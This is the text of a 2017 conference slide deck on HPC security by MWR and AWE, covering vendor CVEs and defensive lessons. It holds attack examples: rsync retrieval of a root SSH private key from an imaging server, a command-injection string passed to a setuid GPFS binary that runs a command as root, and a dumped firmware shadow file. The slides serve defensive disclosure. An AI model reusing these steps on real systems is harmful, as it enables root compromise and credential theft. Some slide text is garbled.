Real World HPC Security

NLIT 2017

May 2nd 2017

John.Fitzpatrick[at]mwrinfosecurity.com

John.Pringle[at]awe.co.uk
1. Background

2. Case Studies
   Administration
   User Privileges
   Insecure Devices
   Authentication
1. Background

2. Case Studies

Administration
User Privileges
Insecure Devices
Authentication
Objectives

+ Share how we did HPC security and the outcomes

+ Share some common themes (using real life examples) that you can take directly into your environment
Background

Outcomes

+ An informed view of the security posture of systems

+ Systems protected against vulnerabilities not yet known to the vendors (0-day)

+ Supported key vendors in producing more resilient systems

+ Got significant security vulnerabilities resolved for the good of the entire HPC industry and identified many more

+ A team of administrators who are proactive in security

+ A security validation piece during procurement
Significant Vulnerabilities Identified


+ [MWR-2016-0001, MWR-2016-0002] DDN – compromise of DDN storage leading to full root compromise of most systems using DDN kit

+ [CVE-2016-0392] IBM GPFS/Spectrum Scale – privilege escalation to root on any system using GPFS

+ [CVE-2014-7302, CVE-2014-7302, CVE-2014-7303] SGI Tempo – Multiple vulnerabilities including full root access


+ [CVE-2014-0748] Cray Aprun – privilege escalation to root

+ [CVE-2014-0749, CVE-2013-4319] TORQUE (PBS) – Remote root through buffer overflow and separately through authentication bypass

+ Etc...
Background

++

How?

+ Built a new approach...
+ Research led rather than audit
+ All about understanding individual components/technologies and how they work
+ And then building attack paths and looking to execute these
+ Combining HPC knowledge with security knowledge
+ Instilling the right mind-set
We have looked at most HPC technologies.

It is beneficial to take the mindset that a HPC system is a number of components; some supplied by the manufacturer, some supplied by other vendors, but all contribute to the system’s security posture...
Core principle of HPC security

Root on any component = root on every component

... A single weak component can undermine the entire system’s security posture
+ Vulnerabilities happen – worry about the vendors that do not publish advisories

+ The Vulnerabilities covered demonstrate an example well (other similar tech are likely affected by similar vulnerabilities)

+ Security only impacts performance if you do it badly
1. Background

2. Case Studies

   Administration
   User Privileges
   Insecure Devices
   Authentication
1. Background

2. Case Studies

Administration

User Privileges

Insecure Devices

Authentication
How the imaging process can be used to leverage access to systems
johnf@serv:~$ rsync -a rsync://admin/serv-img/root/.ssh/id_rsa .
receiving incremental file list id_rsa
sent 58 bytes received 1776 bytes 3668.00 bytes/sec total size is 1675 speedup is 0.91

johnf@serv:~$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAMSREjcq8SgzJmMcmObnMMHLYOds1NFwJImuMDG+L/ED5qOJ/oahRvqhSi82EuN9sHPx1iQqaCuXuS1vpuqvYiUCAwEAAQJATRDbCuFd2EbFxGXNhxjLloj/Fc3a6UE8GeFoeydDUIJjWifbCAQsptSPIT5vhcudZgWEMDSXrIn79nXvyPy5BQiAhPU+XwrLGy0Hd4Roug+9IRMrlu0gtSvTJRQ/b7m0fbfAiEAVBV7bUMynZf4...

..
Administration

+ What authentication is used in imaging?

+ Where are images stored and how and where can they be accessed from?

+ Remove sensitive files? (deploy later)

+ Bulk image modification (how authentication occurs)

+ System databases

+ System configuration parameters (sensitive files)
1. Background

2. Case Studies

- Administration
- User Privileges
- Insecure Devices
- Authentication
User Privileges

+ Leveraging SetUID binaries to escalate privileges

+ Using GPFS 4.2.0.0 as an example
[test@spectrumscale tmp]$ find /usr/lpp/mmfs/bin -perm /4000
/usr/lpp/mmfs/bin/tsdf
/usr/lpp/mmfs/bin/tsgetacl
/usr/lpp/mmfs/bin/tslsmgr
/usr/lpp/mmfs/bin/tslspool34
/usr/lpp/mmfs/bin/tslsquota
/usr/lpp/mmfs/bin/tspputacl
/usr/lpp/mmfs/bin/tscrsnapshot
/usr/lpp/mmfs/bin/tsdelsnapshot
/usr/lpp/mmfs/bin/tsedquota
/usr/lpp/mmfs/bin/tlsdisk
/usr/lpp/mmfs/bin/tlsfs
/usr/lpp/mmfs/bin/tslspool
/usr/lpp/mmfs/bin/tslssnapshot
/usr/lpp/mmfs/bin/tsnsdaccess
/usr/lpp/mmfs/bin/tssnapdir
/usr/lpp/mmfs/bin/tsstatus
/usr/lpp/mmfs/bin/tsusercmd
/usr/lpp/mmfs/bin/tlsfilesset
/usr/lpp/mmfs/bin/tlsfsfileset
/usr/lpp/mmfs/bin/tlsfsfileset
[test@spectrumscale tmp]$ tlsfs ";touch /tmp/GPFSTEST #"
mitempty getEFOptions ;touch /tmp/tlsfs_001 # failed. Return code 0.
mitempty getEFOptions ;touch /tmp/tlsfs_001 # failed. Return code 0.
No disks= list found in mount options. Invalid argument

[test@spectrumscale tmp]$ ls -la /tmp/GPFSTEST
-rw-r--r--. 1 root root 0 Mar 17 20:42 /tmp/tlsfs_001
[test@spectrumscale tmp]$ tlsfs ";touch /tmp/GPFSTEST #"
mmcommon getEFOptions ;touch /tmp/tslsfs_001 # failed. Return code 0.
mmcommon getEFOptions ;touch /tmp/tslsfs_001 # failed. Return code 0.
No disks= list found in mount options. Invalid argument

[test@spectrumscale tmp]$ ls -la /tmp/GPFSTEST
-rw-r--r--. 1 root root 0 Mar 17 20:42 /tmp/tslsfs_001
++

User Privileges

++

User Privileges

+ Identify

+ Remove?

+ Review

+ Common = System imaging / filesystems / user authentication / host and device configuration
1. Background

2. Case Studies
   Administration
   User Privileges
   Insecure Devices
   Authentication
Insecure Devices

+ How an insecure device/component can undermine the security model of a system

+ Using DDN storage devices as an example
Insecure Devices:: DDN:: Default Credentials

user@system:~/ddn/firmware/SFA12K/etc$ grep -v "shadow root:" $1$Euo5wva3$OHbI5ew***************:16526:0:99999:7:::
ddn:$1$hRQTHVz9$ExF9hMU***************:16526:0:99999:7:::
user:$1$5RiEj1yl$J0hiuun***************:16526:0:99999:7:::
firmware:$1$cenUmzbv$nFMqerC***************:16526:0:99999:7:::
diag:$1$5RiEj1yl$J0hiuun***************:16526:0:99999:7:::
stats:$1$x9dzJ6UA$uI7upgm***************:16526:0:99999:7:::

user@system:~/ddn/firmware/SFA12K/etc$ cat passwd
root:x:0:0:root:/root:/bin/bash
ddn:x:1000:100::/ddn:/bin/bash
user:x:1001:100::/home/user:/home/user/user.sh
firmware:x:1002:201::/usr/chroot/home/firmware:/usr/bin/rssh
diag:x:1003:100::/home/diag:/home/diag/diag.sh
stats:x:1004:100::/home/stats:/home/stats/stats.sh
Insecure Devices:: DDN: : Update Mechanism

```bash
$ tar xvf ddn-flash-ALTA-2.3.1.5_26444-opt.ddn.tar
downgrade_info
fs_janus.tar.xz
fs_models/
  fs_models/fs_model_SFA12KX40_8.tgz
  fs_models/fs_model_SFA14K.tgz
  fs_models/fs_model_SFA12K40.tgz
  fs_models/fs_model_SFA12K20.tgz
  fs_models/fs_model_SFA10K.tgz
  fs_models/fs_model_SFA12KX40_12.tgz
  fs_models/fs_model_SFA7700X.tgz
  fs_models/fs_model_SFA7700.tgz
  fs.tar.xz
  janus.md5
  janus_opt.tar.xz
  janus_personality.ALTA-SFA10K-ddn
  janus_personality.ALTA-SFA12K20-ddn
  janus_personality.ALTA-SFA12K40-ddn
  janus_personality.ALTA-SFA12KX40_12-ddn
  janus_personality.ALTA-SFA12KX40_8-ddn
  janus_personality.ALTA-SFA14K-ddn
  janus_personality.ALTA-SFA7700-ddn
  janus_personality.ALTA-SFA7700X-ddn
  janus_version.txt
  menu.lst.SFA10K.template
  menu.lst.SFA12K20.template
  menu.lst.SFA12K40.template
  menu.lst.SFA12KX40_12.template
  menu.lst.SFA12KX40_8.template
  menu.lst.SFA14K.template
  menu.lst.SFA7700.template
  menu.lst.SFA7700X.template
  upgrade
  upgrade_components
  upgrade_flip
  upgrade_grub
  upgrade_janus
  upgrade_linux
  upgrade_model
```

```bash
$ ls -la upgrade*
-rwrxr-x 1 jj jj 19265 Aug 20 2015 upgrade
-rwrxr-x 1 jj jj 6590 Aug 20 2015 upgrade_components
-rwrxr-x 1 jj jj 1145 Aug 20 2015 upgrade_flip
-rwrxr-x 1 jj jj 2179 Aug 20 2015 upgrade_grub
-rwrxr-x 1 jj jj 1614 Aug 20 2015 upgrade_janus
-rwrxr-x 1 jj jj 3414 Aug 20 2015 upgrade_linux
-rwrxr-x 1 jj jj 4131 Aug 20 2015 upgrade_model
```
$ scp myfirmware.tgz firmware@ddn-controller:
Password:

$ ssh user@ddn-controller
Password:
ddn> up con local file myfirmware.tgz
diag:
/home/diag/.ssh$ md5sum *
e5138c922279b8d194896bacefc31992 authorized_keys
d2a101dc1f8dd610c146735d71d7e77a id_rsa

stats:
/home/stats/.ssh$ md5sum *
7c3c7a068e07ed28a84eba1d3b4812a1 authorized_keys
ffe5fdd80332ed5170851b3d8cdf6f30 id_rsa

user:
/home/user/.ssh$ md5sum *
7c3c7a068e07ed28a84eba1d3b4812a1 authorized_keys
ffe5fdd80332ed5170851b3d8cdf6f30 id_rsa

ddn:
/ddn/.ssh$ md5sum *
1076f91f58db9040d87fe29b863ad5b7 authorized_keys
202a962bac24c892c1248dff050d413c id_rsa
Insecure Devices: Summary

++

Third Party Components

+ Identify
+ Segment
+ Review

+ Common = switches / storage / chassais and hardware management / UPS / cooling
1. Background

2. Case Studies

   Administration
   User Privileges
   Insecure Devices
   Authentication
Challenges seamlessly authenticating users across a network

Using LSF and TORQUE as examples
1. Submit Job
2. Inform Scheduler
3. Find node for job
4. Instructions on how to run job
5. Send job to compute node
Authentication: TORQUE: Trqauthd

Client: Priv
Client: NonPriv
Trqauthd
pbs_server

Establish Connection (Priv)
Establish Connection (Non Priv)
Authorise Non Priv Connection
Verify Connection Exists
Authorise
Perform Operation
Source Port of non priv connection

+2+22+491+4demo5+49136+0
+2+2+0+0+1
+2+22+591+4demo

• Authorising port 49136 to communicate with the pbs_server as user demo

• Traffic above must be sent from a privileged port
1. Submit Job

2. Inform Scheduler

3. Find node for job

4. Instructions on how to run job

5. Send job to compute node

PBS Server

Scheduler

Head Node

PBS Mom

Compute

Authentication: TORQUE: Trqaut hd
Authentication::TORQUE::pbs_mom
PUBLIC

Authentication: LSF

.............root
.............#
-0!&0(0&$$...
...lsf2.localdo

main..
touch /tmp/lsf2.
root.2..

.............
.../root...
.../usr/sha
re/lsf/conf.....
Authentication: LSF: eauth

user1 submits a job from hostA

eauth -c runs on hostA and encrypts the user name

Encryption key

LSF dispatches the job to hostB

eauth -s runs as root on hostB and decrypts the user name

Job fails

No

Job runs

Yes

User names match?

eauth -s on hostB verifies the decrypted user name against the user name that submitted the job
• Encrypts username using a key
• Static key (same as every other LSF install)
• Impersonate any user (except root who cannot submit)
Authentication::LSF::Becoming Root

root

#)**

..-!&0(0&$$....

...lsf2.localdo

main..

touch /tmp/lsf2.

root.2....

................

...........XCg]

.............../root...

........../usr/sha

re/lsf/conf.....

..............

.............!

/bin/sh...LSF_VERSION=
Authentication: Summary

++

Resource + Workload Managers

+ Authentication relies on users not having privileged access
+ Static keys are common and can undermine security
+ Ensure that authentication is applied consistently
+ Validate implementation
Core principle of HPC security

Root on any component = root on every component

... A single weak component can undermine the entire system's security posture
Questions?

john.fitzpatrick [at] mwrinfosecurity.com

@ohn__f

https://labs.mwrinfosecurity.com